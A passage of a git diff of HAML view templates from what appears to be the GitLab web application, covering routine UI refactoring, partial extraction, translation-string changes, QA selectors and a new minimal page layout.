@@ -61,7 +61,7 @@
- if show_recaptcha_sign_up?
= recaptcha_tags nonce: content_security_policy_nonce
.submit-container
- = f.submit button_text, class: 'btn gl-button btn-confirm', data: { qa_selector: 'new_user_register_button' }
+ = f.submit button_text, class: 'btn gl-button btn-confirm gl-display-block gl-w-full', data: { qa_selector: 'new_user_register_button' }
= render 'devise/shared/terms_of_service_notice', button_text: button_text
- if show_omniauth_providers && omniauth_providers_placement == :bottom
= render 'devise/shared/signup_omniauth_providers'
diff --git a/app/views/groups/_delete_project_button.html.haml b/app/views/groups/_delete_project_button.html.haml
new file mode 100644
index 00000000000..54a99319418
--- /dev/null
+++ b/app/views/groups/_delete_project_button.html.haml
@@ -0,0 +1 @@
+= link_to _('Delete'), project, data: { confirm: remove_project_message(project) }, method: :delete, class: "btn gl-button btn-danger"
diff --git a/app/views/groups/_home_panel.html.haml b/app/views/groups/_home_panel.html.haml
index 624d0a21b81..b7c2b4d86b2 100644
--- a/app/views/groups/_home_panel.html.haml
+++ b/app/views/groups/_home_panel.html.haml
@@ -23,6 +23,10 @@
.home-panel-buttons.col-md-12.col-lg-6
- if current_user
.gl-display-flex.gl-flex-wrap.gl-lg-justify-content-end.gl-mx-n2{ data: { testid: 'group-buttons' } }
+ - if current_user.admin?
+ = link_to [:admin, @group], class: 'btn btn-default gl-button btn-icon gl-mt-3 gl-mr-2', title: s_('View group in admin area'),
+ data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
+ = sprite_icon('admin')
- if @notification_setting
.js-vue-notification-dropdown{ data: { disabled: emails_disabled.to_s, dropdown_items: notification_dropdown_items(@notification_setting).to_json, notification_level: @notification_setting.level, help_page_path: help_page_path('user/profile/notifications'), group_id: @group.id, container_class: 'gl-mx-2 gl-mt-3 gl-vertical-align-top' } }
- if can_create_subgroups
diff --git a/app/views/groups/_import_group_from_file_panel.html.haml b/app/views/groups/_import_group_from_file_panel.html.haml
index c70cc2c4936..3bc2146b313 100644
--- a/app/views/groups/_import_group_from_file_panel.html.haml
+++ b/app/views/groups/_import_group_from_file_panel.html.haml
@@ -33,8 +33,7 @@
title: _('Please choose a group URL with no special characters.'),
"data-bind-in" => "#{'create_chat_team' if Gitlab.config.mattermost.enabled}"
%p.validation-error.gl-field-error.field-validation.hide
- = _('Group path is already taken. Suggestions: ')
- %span.gl-path-suggestions
+ = _("Group path is already taken. We've suggested one that is available.")
%p.validation-success.gl-field-success.field-validation.hide= _('Group path is available.')
%p.validation-pending.gl-field-error-ignore.field-validation.hide= _('Checking group path availability...')
.form-group
diff --git a/app/views/groups/_invite_members_modal.html.haml b/app/views/groups/_invite_members_modal.html.haml
index f4f3c8ce8f7..3be1a142ca6 100644
--- a/app/views/groups/_invite_members_modal.html.haml
+++ b/app/views/groups/_invite_members_modal.html.haml
@@ -1,7 +1,8 @@
-- if can?(current_user, :admin_group_member, group)
- .js-invite-members-modal{ data: { id: group.id,
- name: group.name,
- is_project: 'false',
- access_levels: GroupMember.access_level_roles.to_json,
- default_access_level: Gitlab::Access::GUEST,
- help_link: help_page_url('user/permissions') }.merge(group_select_data(group)) }
+- return unless can_manage_members?(group)
+
+.js-invite-members-modal{ data: { id: group.id,
+ name: group.name,
+ is_project: 'false',
+ access_levels: GroupMember.access_level_roles.to_json,
+ default_access_level: Gitlab::Access::GUEST,
+ help_link: help_page_url('user/permissions') }.merge(group_select_data(group)) }
diff --git a/app/views/groups/_project_badges.html.haml b/app/views/groups/_project_badges.html.haml
new file mode 100644
index 00000000000..1f7895e216c
--- /dev/null
+++ b/app/views/groups/_project_badges.html.haml
@@ -0,0 +1,2 @@
+- if project.archived
+ %span.badge.badge-warning.badge-pill.gl-badge.md= _('archived')
diff --git a/app/views/groups/merge_requests.html.haml b/app/views/groups/merge_requests.html.haml
index 33f836c2de0..ad916e3aeec 100644
--- a/app/views/groups/merge_requests.html.haml
+++ b/app/views/groups/merge_requests.html.haml
@@ -2,7 +2,7 @@
- page_title _("Merge requests")
-- if @merge_requests&.size == 0
+- if issuables_count_for_state(:merge_requests, :all) == 0
= render 'shared/empty_states/merge_requests', project_select_button: true
- else
.top-area
diff --git a/app/views/groups/milestones/_form.html.haml b/app/views/groups/milestones/_form.html.haml
index 259e96901fd..a6302569187 100644
--- a/app/views/groups/milestones/_form.html.haml
+++ b/app/views/groups/milestones/_form.html.haml
@@ -1,25 +1,23 @@
= form_for [@group, @milestone], html: { class: 'milestone-form common-note-form js-quick-submit js-requires-input' } do |f|
= form_errors(@milestone)
- .row
- .col-md-6
- .form-group.row
- .col-form-label.col-sm-2
- = f.label :title, _("Title")
- .col-sm-10
- = f.text_field :title, maxlength: 255, class: "form-control", data: { qa_selector: "milestone_title_field" }, required: true, autofocus: true
- .form-group.row.milestone-description
- .col-form-label.col-sm-2
- = f.label :description, _("Description")
- .col-sm-10
- = render layout: 'shared/md_preview', locals: { url: group_preview_markdown_path } do
- = render 'shared/zen', f: f, attr: :description,
- classes: 'note-textarea',
- qa_selector: 'milestone_description_field',
- supports_autocomplete: true,
- placeholder: _('Write milestone description...')
- .clearfix
- .error-alert
- = render "shared/milestones/form_dates", f: f
+ .form-group.row
+ .col-form-label.col-sm-2
+ = f.label :title, _("Title")
+ .col-sm-10
+ = f.text_field :title, maxlength: 255, class: "form-control", data: { qa_selector: "milestone_title_field" }, required: true, autofocus: true
+ = render "shared/milestones/form_dates", f: f
+ .form-group.row.milestone-description
+ .col-form-label.col-sm-2
+ = f.label :description, _("Description")
+ .col-sm-10
+ = render layout: 'shared/md_preview', locals: { url: group_preview_markdown_path } do
+ = render 'shared/zen', f: f, attr: :description,
+ classes: 'note-textarea',
+ qa_selector: 'milestone_description_field',
+ supports_autocomplete: true,
+ placeholder: _('Write milestone description...')
+ .clearfix
+ .error-alert
.form-actions
- if @milestone.new_record?
diff --git a/app/views/groups/projects.html.haml b/app/views/groups/projects.html.haml
index 9d595d19779..9dbf60b119c 100644
--- a/app/views/groups/projects.html.haml
+++ b/app/views/groups/projects.html.haml
@@ -15,13 +15,12 @@
.controls
= link_to _('Members'), project_project_members_path(project), id: "edit_#{dom_id(project)}", class: "btn gl-button"
= link_to _('Edit'), edit_project_path(project), id: "edit_#{dom_id(project)}", class: "btn gl-button"
- = link_to _('Delete'), project, data: { confirm: remove_project_message(project)}, method: :delete, class: "btn gl-button btn-danger"
+ = render 'delete_project_button', project: project
.stats
%span.badge.badge-pill
= storage_counter(project.statistics&.storage_size)
- - if project.archived
- %span.badge.badge-warning archived
+ = render 'project_badges', project: project
.title
= link_to(project_path(project)) do
diff --git a/app/views/groups/runners/_group_runners.html.haml b/app/views/groups/runners/_group_runners.html.haml
index 823d908c5e2..49e297ee13d 100644
--- a/app/views/groups/runners/_group_runners.html.haml
+++ b/app/views/groups/runners/_group_runners.html.haml
@@ -9,19 +9,24 @@
-# Proper policies should be implemented per
-# https://gitlab.com/gitlab-org/gitlab-foss/issues/45894
-- if can?(current_user, :admin_pipeline, @group)
- = render partial: 'ci/runner/how_to_setup_runner_automatically',
- locals: { type: 'group',
- clusters_path: group_clusters_path(@group) }
- - if params[:ci_runner_templates]
+.bs-callout.help-callout
+ - if can?(current_user, :admin_pipeline, @group) && valid_runner_registrars.include?('group')
+ = render partial: 'ci/runner/how_to_setup_runner_automatically',
+ locals: { type: 'group',
+ clusters_path: group_clusters_path(@group) }
+ - if params[:ci_runner_templates]
+ %hr
+ = render partial: 'ci/runner/setup_runner_in_aws',
+ locals: { registration_token: @group.runners_token }
%hr
- = render partial: 'ci/runner/setup_runner_in_aws',
- locals: { registration_token: @group.runners_token }
- %hr
- = render partial: 'ci/runner/how_to_setup_runner',
- locals: { registration_token: @group.runners_token,
- type: 'group',
- reset_token_url: reset_registration_token_group_settings_ci_cd_path,
- project_path: '',
- group_path: @group.full_path }
- %br
+ = render partial: 'ci/runner/how_to_setup_runner',
+ locals: { registration_token: @group.runners_token,
+ type: 'group',
+ reset_token_url: reset_registration_token_group_settings_ci_cd_path,
+ project_path: '',
+ group_path: @group.full_path }
+ %br
+ - else
+ = _('Please contact an admin to register runners.')
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'runner-registration'), target: '_blank', rel: 'noopener noreferrer'
+
diff --git a/app/views/groups/runners/_runner.html.haml b/app/views/groups/runners/_runner.html.haml
index 89e32c0999c..13da2292985 100644
--- a/app/views/groups/runners/_runner.html.haml
+++ b/app/views/groups/runners/_runner.html.haml
@@ -7,16 +7,16 @@
.table-mobile-content
- if runner.group_type?
%span.badge.badge-pill.gl-badge.sm.badge-success
- = _('group')
+ = s_('Runners|group')
- else
%span.badge.badge-pill.gl-badge.sm.badge-info
- = _('specific')
+ = s_('Runners|specific')
- if runner.locked?
%span.badge.badge-pill.gl-badge.sm.badge-warning
- = _('locked')
+ = s_('Runners|locked')
- unless runner.active?
%span.badge.badge-pill.gl-badge.sm.badge-danger
- = _('paused')
+ = s_('Runners|paused')
.table-section.section-30
.table-mobile-header{ role: 'rowheader' }= s_('Runners|Runner')
diff --git a/app/views/groups/runners/_index.html.haml b/app/views/groups/runners/_settings.html.haml
index 187588f5f11..187588f5f11 100644
--- a/app/views/groups/runners/_index.html.haml
+++ b/app/views/groups/runners/_settings.html.haml
diff --git a/app/views/groups/settings/_advanced.html.haml b/app/views/groups/settings/_advanced.html.haml
index d7a145924de..fea0736ffc8 100644
--- a/app/views/groups/settings/_advanced.html.haml
+++ b/app/views/groups/settings/_advanced.html.haml
@@ -24,21 +24,6 @@
"data-bind-in" => "#{'create_chat_team' if Gitlab.config.mattermost.enabled}"
= f.submit s_('GroupSettings|Change group URL'), class: 'btn gl-button btn-warning'
-.sub-section
- %h4.warning-title= s_('GroupSettings|Transfer group')
- = form_for @group, url: transfer_group_path(@group), method: :put, html: { class: 'js-group-transfer-form' } do |f|
- .form-group
- = dropdown_tag('Select parent group', options: { toggle_class: 'js-groups-dropdown', title: 'Parent Group', filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: 'Search groups', data: { data: parent_group_options(@group), qa_selector: 'select_group_dropdown' } })
- = hidden_field_tag 'new_parent_group_id'
-
- %ul
- - side_effects_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank">'.html_safe
- - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}.") % { side_effects_link_start: side_effects_link_start, side_effects_link_end: '</a>'.html_safe }
- %li= warning_text.html_safe
- %li= s_('GroupSettings|You can only transfer the group to a group you manage.')
- %li= s_('GroupSettings|You will need to update your local repositories to point to the new location.')
- %li= s_("GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility.")
- = f.submit s_('GroupSettings|Transfer group'), class: 'btn gl-button btn-warning', data: { qa_selector: "transfer_group_button" }
-
+= render 'groups/settings/transfer', group: @group
= render 'groups/settings/remove', group: @group
= render_if_exists 'groups/settings/restore', group: @group
diff --git a/app/views/groups/settings/_pages_settings.html.haml b/app/views/groups/settings/_pages_settings.html.haml
index a7b1813e4f1..456e0b0f1d0 100644
--- a/app/views/groups/settings/_pages_settings.html.haml
+++ b/app/views/groups/settings/_pages_settings.html.haml
@@ -2,4 +2,4 @@
= render_if_exists 'shared/pages/max_pages_size_input', form: f
.gl-mt-3
- = f.submit s_('GitLabPages|Save'), class: 'btn gl-button btn-confirm'
+ = f.submit s_('GitLabPages|Save changes'), class: 'btn gl-button btn-confirm'
diff --git a/app/views/groups/settings/_transfer.html.haml b/app/views/groups/settings/_transfer.html.haml
new file mode 100644
index 00000000000..1472ae42152
--- /dev/null
+++ b/app/views/groups/settings/_transfer.html.haml
@@ -0,0 +1,22 @@
+.sub-section
+ %h4.warning-title= s_('GroupSettings|Transfer group')
+ = form_for group, url: transfer_group_path(group), method: :put, html: { class: 'js-group-transfer-form' } do |f|
+ .form-group
+ = dropdown_tag('Select parent group', options: { toggle_class: 'js-groups-dropdown', title: 'Parent Group', filter: true, dropdown_class: 'dropdown-open-top dropdown-group-transfer', placeholder: 'Search groups', disabled: group.paid?, data: { data: parent_group_options(group), qa_selector: 'select_group_dropdown' } })
+ = hidden_field_tag 'new_parent_group_id'
+
+ %ul
+ - side_effects_link_start = '<a href="https://docs.gitlab.com/ee/user/project/index.html#redirects-when-changing-repository-paths" target="_blank">'.html_safe
+ - warning_text = s_("GroupSettings|Be careful. Changing a group's parent can have unintended %{side_effects_link_start}side effects%{side_effects_link_end}.") % { side_effects_link_start: side_effects_link_start, side_effects_link_end: '</a>'.html_safe }
+ %li= warning_text.html_safe
+ %li= s_('GroupSettings|You can only transfer the group to a group you manage.')
+ %li= s_('GroupSettings|You will need to update your local repositories to point to the new location.')
+ %li= s_("GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility.")
+
+ - if group.paid?
+ .gl-alert.gl-alert-info.gl-mb-5{ data: { testid: 'group-to-transfer-has-linked-subscription-alert' } }
+ = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-body
+ = html_escape(_("This group can't be transfered because it is linked to a subscription. To transfer this group, %{linkStart}link the subscription%{linkEnd} with a different group.")) % { linkStart: "<a href=\"#{help_page_path('subscriptions/index', anchor: 'change-the-linked-namespace')}\">".html_safe, linkEnd: '</a>'.html_safe }
+
+ = f.submit s_('GroupSettings|Transfer group'), class: 'btn gl-button btn-warning', data: { qa_selector: "transfer_group_button" }
diff --git a/app/views/groups/settings/ci_cd/show.html.haml b/app/views/groups/settings/ci_cd/show.html.haml
index 3c6514b95b8..018dd4c424d 100644
--- a/app/views/groups/settings/ci_cd/show.html.haml
+++ b/app/views/groups/settings/ci_cd/show.html.haml
@@ -32,9 +32,9 @@
= expanded ? _('Collapse') : _('Expand')
%p
= _("Runners are processes that pick up and execute CI/CD jobs for GitLab.")
- = link_to s_('How do I configure runners?'), help_page_path('ci/runners/README'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('How do I configure runners?'), help_page_path('ci/runners/index'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
- = render 'groups/runners/index'
+ = render 'groups/runners/settings'
%section.settings#auto-devops-settings.no-animate{ class: ('expanded' if expanded) }
.settings-header
diff --git a/app/views/groups/settings/integrations/index.html.haml b/app/views/groups/settings/integrations/index.html.haml
index 7a81d53c085..1db8edb040b 100644
--- a/app/views/groups/settings/integrations/index.html.haml
+++ b/app/views/groups/settings/integrations/index.html.haml
@@ -1,9 +1,9 @@
-- breadcrumb_title _('Integrations')
-- page_title _('Integrations')
+- breadcrumb_title s_('Integrations|Group-level integration management')
+- page_title s_('Integrations|Group-level integration management')
- @content_class = 'limit-container-width' unless fluid_layout
-%h3= s_('Integrations|Project integration management')
+%h3= s_('Integrations|Group-level integration management')
- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
-%p= s_("Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
+%p= s_("Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/groups/settings/repository/_initial_branch_name.html.haml b/app/views/groups/settings/repository/_initial_branch_name.html.haml
index 23ac7d51e4f..5299c38576d 100644
--- a/app/views/groups/settings/repository/_initial_branch_name.html.haml
+++ b/app/views/groups/settings/repository/_initial_branch_name.html.haml
@@ -5,7 +5,7 @@
%button.gl-button.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Set the default name of the initial branch when creating new repositories through the user interface.')
+ = s_('GroupSettings|The default name for the initial branch of new repositories created in the group.')
.settings-content
= form_for @group, url: group_path(@group, anchor: 'js-default-branch-name'), html: { class: 'fieldset-form' } do |f|
= form_errors(@group)
@@ -16,7 +16,7 @@
= f.label :default_branch_name, _('Default initial branch name'), class: 'label-light'
= f.text_field :default_branch_name, value: group.namespace_settings&.default_branch_name, placeholder: Gitlab::DefaultBranch.value(object: @group), class: 'form-control'
%span.form-text.text-muted
- = (_("Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used.") % { branch_name_default: fallback_branch_name }).html_safe
+ = (s_("GroupSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories.") % { default_initial_branch_name: fallback_branch_name }).html_safe
= f.hidden_field :redirect_target, value: "repository_settings"
= f.submit _('Save changes'), class: 'btn gl-button btn-confirm'
diff --git a/app/views/groups/show.html.haml b/app/views/groups/show.html.haml
index 628425bf463..76850f0a884 100644
--- a/app/views/groups/show.html.haml
+++ b/app/views/groups/show.html.haml
@@ -6,6 +6,8 @@
- if show_thanks_for_purchase_banner?
= render_if_exists 'shared/thanks_for_purchase_banner', plan_title: plan_title, quantity: params[:purchased_quantity].to_i
+= render_if_exists 'shared/qrtly_reconciliation_alert', group: @group
+
- if show_invite_banner?(@group)
= content_for :group_invite_members_banner do
.container-fluid.container-limited{ class: "gl-pb-2! gl-pt-6! #{@content_class}" }
diff --git a/app/views/help/index.html.haml b/app/views/help/index.html.haml
index a56eaaf685f..95888963947 100644
--- a/app/views/help/index.html.haml
+++ b/app/views/help/index.html.haml
@@ -38,7 +38,7 @@
.card-header
= _('Quick help')
%ul.content-list
- %li= link_to _('See our website for getting help'), support_url
+ %li= link_to _('See our website for help'), support_url
%li
%button.btn-blank.btn-link.js-trigger-search-bar{ type: 'button' }
= _('Use the search bar on the top of this page')
diff --git a/app/views/import/gitlab_projects/new.html.haml b/app/views/import/gitlab_projects/new.html.haml
index 8daddbb0042..028268482cd 100644
--- a/app/views/import/gitlab_projects/new.html.haml
+++ b/app/views/import/gitlab_projects/new.html.haml
@@ -21,5 +21,5 @@
= file_field_tag :file, class: ''
.row
.form-actions.col-sm-12
- = submit_tag _('Import project'), class: 'gl-button btn btn-confirm'
+ = submit_tag _('Import project'), class: 'gl-button btn btn-confirm', data: { qa_selector: 'import_project_button' }
= link_to _('Cancel'), new_project_path, class: 'gl-button btn btn-default btn-cancel'
diff --git a/app/views/import/shared/_new_project_form.html.haml b/app/views/import/shared/_new_project_form.html.haml
index 7de8b0ee10f..16526382f42 100644
--- a/app/views/import/shared/_new_project_form.html.haml
+++ b/app/views/import/shared/_new_project_form.html.haml
@@ -1,7 +1,7 @@
.row
.form-group.project-name.col-sm-12
= label_tag :name, _('Project name'), class: 'label-bold'
- = text_field_tag :name, @name, placeholder: "My awesome project", class: "js-project-name form-control gl-form-input input-lg", autofocus: true, required: true, aria: { required: true }
+ = text_field_tag :name, @name, placeholder: "My awesome project", class: "js-project-name form-control gl-form-input input-lg", autofocus: true, required: true, aria: { required: true }, data: { qa_selector: 'project_name_field' }
.form-group.col-12.col-sm-6
= label_tag :namespace_id, _('Project URL'), class: 'label-bold'
.form-group
@@ -18,4 +18,4 @@
= hidden_field_tag :namespace_id, current_user.namespace_id
.form-group.col-12.col-sm-6.project-path
= label_tag :path, _('Project slug'), class: 'label-bold'
- = text_field_tag :path, @path, placeholder: "my-awesome-project", class: "js-path-name form-control gl-form-input", required: true, aria: { required: true }
+ = text_field_tag :path, @path, placeholder: "my-awesome-project", class: "js-path-name form-control gl-form-input", required: true, aria: { required: true }, data: { qa_selector: 'project_slug_field' }
diff --git a/app/views/layouts/_flash.html.haml b/app/views/layouts/_flash.html.haml
index 433337602f1..a302fa605e7 100644
--- a/app/views/layouts/_flash.html.haml
+++ b/app/views/layouts/_flash.html.haml
@@ -4,6 +4,8 @@
- flash.each do |key, value|
- if key == 'toast' && value
.js-toast-message{ data: { message: value } }
+ - elsif value == I18n.t('devise.failure.unconfirmed')
+ = render 'shared/confirm_your_email_alert'
- elsif value
%div{ class: "flash-#{key} mb-2" }
= sprite_icon(icons[key], css_class: 'align-middle mr-1') unless icons[key].nil?
diff --git a/app/views/layouts/_loading_hints.html.haml b/app/views/layouts/_loading_hints.html.haml
index cd1a236b6be..c431f05c217 100644
--- a/app/views/layouts/_loading_hints.html.haml
+++ b/app/views/layouts/_loading_hints.html.haml
@@ -7,5 +7,5 @@
- else
%link{ { rel: 'preload', href: stylesheet_url('application'), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
%link{ { rel: 'preload', href: stylesheet_url("highlight/themes/#{user_color_scheme}"), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
- - if Gitlab::CurrentSettings.snowplow_enabled? && Gitlab::CurrentSettings.snowplow_collector_hostname
+ - if Gitlab::Tracking.enabled? && Gitlab::CurrentSettings.snowplow_collector_hostname
%link{ rel: 'preconnect', href: Gitlab::CurrentSettings.snowplow_collector_hostname, crossorigin: '' }
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index 2b63e2c647c..6c959f5e60c 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -14,11 +14,12 @@
= render "layouts/header/service_templates_deprecation_callout"
= render "layouts/nav/classification_level_banner"
= yield :flash_message
- = render "shared/ping_consent"
+ = render "shared/service_ping_consent"
= render_account_recovery_regular_check
= render_if_exists "layouts/header/ee_subscribable_banner"
= render_if_exists "shared/namespace_storage_limit_alert"
= render_if_exists "shared/new_user_signups_cap_reached_alert"
+ = yield :page_level_alert
= yield :customize_homepage_banner
- unless @hide_breadcrumbs
= render "layouts/nav/breadcrumbs"
@@ -27,5 +28,6 @@
= render "layouts/flash", extra_flash_class: 'limit-container-width'
= yield :before_content
= yield
+ = yield :after_content
= render "layouts/nav/top_nav_responsive", class: 'layout-page content-wrapper-margin'
diff --git a/app/views/layouts/_search.html.haml b/app/views/layouts/_search.html.haml
index e617b4358e3..5ce275d4a43 100644
--- a/app/views/layouts/_search.html.haml
+++ b/app/views/layouts/_search.html.haml
@@ -3,14 +3,14 @@
.search-input-container
.search-input-wrap
.dropdown{ data: { url: search_autocomplete_path } }
- = search_field_tag 'search', nil, placeholder: _('Search or jump to…'),
+ = search_field_tag 'search', nil, placeholder: _('Search GitLab'),
class: 'search-input dropdown-menu-toggle no-outline js-search-dashboard-options',
spellcheck: false,
autocomplete: 'off',
data: { issues_path: issues_dashboard_path,
mr_path: merge_requests_dashboard_path,
qa_selector: 'search_term_field' },
- aria: { label: _('Search or jump to…') }
+ aria: { label: _('Search GitLab') }
%button.hidden.js-dropdown-search-toggle{ type: 'button', data: { toggle: 'dropdown' } }
.dropdown-menu.dropdown-select{ data: { testid: 'dashboard-search-options' } }
= dropdown_content do
diff --git a/app/views/layouts/_snowplow.html.haml b/app/views/layouts/_snowplow.html.haml
index bdce4eac755..9c0384e5faa 100644
--- a/app/views/layouts/_snowplow.html.haml
+++ b/app/views/layouts/_snowplow.html.haml
@@ -1,4 +1,4 @@
-- return unless Gitlab::CurrentSettings.snowplow_enabled?
+- return unless Gitlab::Tracking.enabled?
= javascript_tag do
:plain
diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml
index 47c092e199a..899bf65de48 100644
--- a/app/views/layouts/application.html.haml
+++ b/app/views/layouts/application.html.haml
@@ -1,7 +1,6 @@
- page_classes = page_class << @html_class
- page_classes = page_classes.flatten.compact
- body_classes = [user_application_theme, user_tab_width, @body_class, client_class_list]
-- body_classes << 'sidebar-refactoring' if sidebar_refactor_enabled?
!!! 5
%html{ lang: I18n.locale, class: page_classes }
diff --git a/app/views/layouts/devise.html.haml b/app/views/layouts/devise.html.haml
index ae7c160c060..5c9c6a06ac1 100644
--- a/app/views/layouts/devise.html.haml
+++ b/app/views/layouts/devise.html.haml
@@ -14,28 +14,29 @@
.row.mt-3
.col-sm-12
%h1.mb-3.font-weight-normal
- = current_appearance&.title.presence || "GitLab"
+ = current_appearance&.title.presence || _('GitLab')
.row.mb-3
.col-sm-7.order-12.order-sm-1.brand-holder
- = brand_image
- - if current_appearance&.description?
- = brand_text
- - else
- %h3.mt-sm-0
- = _('A complete DevOps platform')
+ - unless recently_confirmed_com?
+ = brand_image
+ - if current_appearance&.description?
+ = brand_text
+ - else
+ %h3.gl-sm-mt-0
+ = _('A complete DevOps platform')
- %p
- = _('GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security.')
+ %p
+ = _('GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security.')
- %p
- = _('This is a self-managed instance of GitLab.')
+ %p
+ = _('This is a self-managed instance of GitLab.')
- if Gitlab::CurrentSettings.sign_in_text.present?
= markdown_field(Gitlab::CurrentSettings.current_application_settings, :sign_in_text)
= render_if_exists 'layouts/devise_help_text'
- .col-sm-5.order-1.order-sm-12.new-session-forms-container
+ .col-sm-5.order-1.new-session-forms-container{ class: recently_confirmed_com? ? 'order-sm-first' : 'order-sm-12' }
= yield
= render 'devise/shared/footer', footer_message: footer_message
diff --git a/app/views/layouts/header/_new_dropdown.html.haml b/app/views/layouts/header/_new_dropdown.html.haml
index c5f43fb2c16..0be87ad963c 100644
--- a/app/views/layouts/header/_new_dropdown.html.haml
+++ b/app/views/layouts/header/_new_dropdown.html.haml
@@ -6,7 +6,7 @@
- return if menu_sections.empty?
-%li.header-new.dropdown{ class: top_class, data: { track_label: "new_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }
+%li.header-new.dropdown{ class: top_class, data: { track_label: "new_dropdown", track_event: "click_dropdown" } }
= link_to new_project_path, class: "header-new-dropdown-toggle has-tooltip", id: "js-onboarding-new-project-link", title: title, ref: 'tooltip', aria: { label: title }, data: { toggle: 'dropdown', placement: 'bottom', container: 'body', display: 'static', qa_selector: 'new_menu_toggle' } do
= sprite_icon('plus-square')
= sprite_icon('chevron-down', css_class: 'caret-down')
diff --git a/app/views/layouts/header/_registration_enabled_callout.html.haml b/app/views/layouts/header/_registration_enabled_callout.html.haml
index 9266702e44e..25a7f7ba9d7 100644
--- a/app/views/layouts/header/_registration_enabled_callout.html.haml
+++ b/app/views/layouts/header/_registration_enabled_callout.html.haml
@@ -7,8 +7,8 @@
alert_data: { feature_id: UserCalloutsHelper::REGISTRATION_ENABLED_CALLOUT, dismiss_endpoint: user_callouts_path },
close_button_data: { testid: 'close-registration-enabled-callout' } do
.gl-alert-body
- = html_escape(_('%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance.')) % { anchorOpen: "<a href=\"#{help_page_path('user/admin_area/settings/sign_up_restrictions')}\">".html_safe, anchorClose: '</a>'.html_safe }
+ = html_escape(_('%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance.')) % { anchorOpen: "<a href=\"#{help_page_path('user/admin_area/settings/sign_up_restrictions')}\" class=\"gl-link\">".html_safe, anchorClose: '</a>'.html_safe }
.gl-alert-actions
- = link_to general_admin_application_settings_path(anchor: 'js-signup-settings'), class: 'btn gl-alert-action btn-info btn-md gl-button' do
+ = link_to general_admin_application_settings_path(anchor: 'js-signup-settings'), class: 'btn gl-alert-action btn-confirm btn-md gl-button' do
%span.gl-button-text
= _('View setting')
diff --git a/app/views/layouts/minimal.html.haml b/app/views/layouts/minimal.html.haml
new file mode 100644
index 00000000000..b5cb8f2af37
--- /dev/null
+++ b/app/views/layouts/minimal.html.haml
@@ -0,0 +1,18 @@
+- page_classes = page_class.push(@html_class).flatten.compact
+
+!!! 5
+%html{ lang: I18n.locale, class: page_classes }
+ = render "layouts/head"
+ %body{ data: body_data }
+ = header_message
+ = render 'peek/bar'
+ = render "layouts/header/empty"
+ .layout-page
+ .content-wrapper.content-wrapper-margin.gl-pt-6{ class: 'gl-md-pt-11!' }
+ .alert-wrapper.gl-force-block-formatting-context
+ = render "layouts/broadcast"
+ .limit-container-width{ class: container_class }
+ %main#content-body.content
+ = render "layouts/flash" unless @hide_flash
+ = yield
+ = footer_message
diff --git a/app/views/layouts/nav/_dashboard.html.haml b/app/views/layouts/nav/_dashboard.html.haml
index 117382d87b5..e4cdb4e1b08 100644
--- a/app/views/layouts/nav/_dashboard.html.haml
+++ b/app/views/layouts/nav/_dashboard.html.haml
@@ -4,7 +4,7 @@
-# [1]: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587
%ul.list-unstyled.navbar-sub-nav
- if dashboard_nav_link?(:projects)
- = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects", data: { track_label: "projects_dropdown", track_event: "click_dropdown", track_experiment: "new_repo" } }) do
+ = nav_link(path: ['root#index', 'projects#trending', 'projects#starred', 'dashboard/projects#index'], html_options: { id: 'nav-projects-dropdown', class: "home dropdown header-projects", data: { track_label: "projects_dropdown", track_event: "click_dropdown" } }) do
%button{ type: 'button', data: { toggle: "dropdown" } }
= _('Projects')
= sprite_icon('chevron-down', css_class: 'caret-down')
diff --git a/app/views/layouts/nav/projects_dropdown/_show.html.haml b/app/views/layouts/nav/projects_dropdown/_show.html.haml
index 46070975566..f16aab92a95 100644
--- a/app/views/layouts/nav/projects_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/projects_dropdown/_show.html.haml
@@ -15,21 +15,12 @@
= nav_link(path: 'projects#trending') do
= link_to explore_root_path, data: { track_label: "projects_dropdown_explore_projects", track_event: "click_link" } do
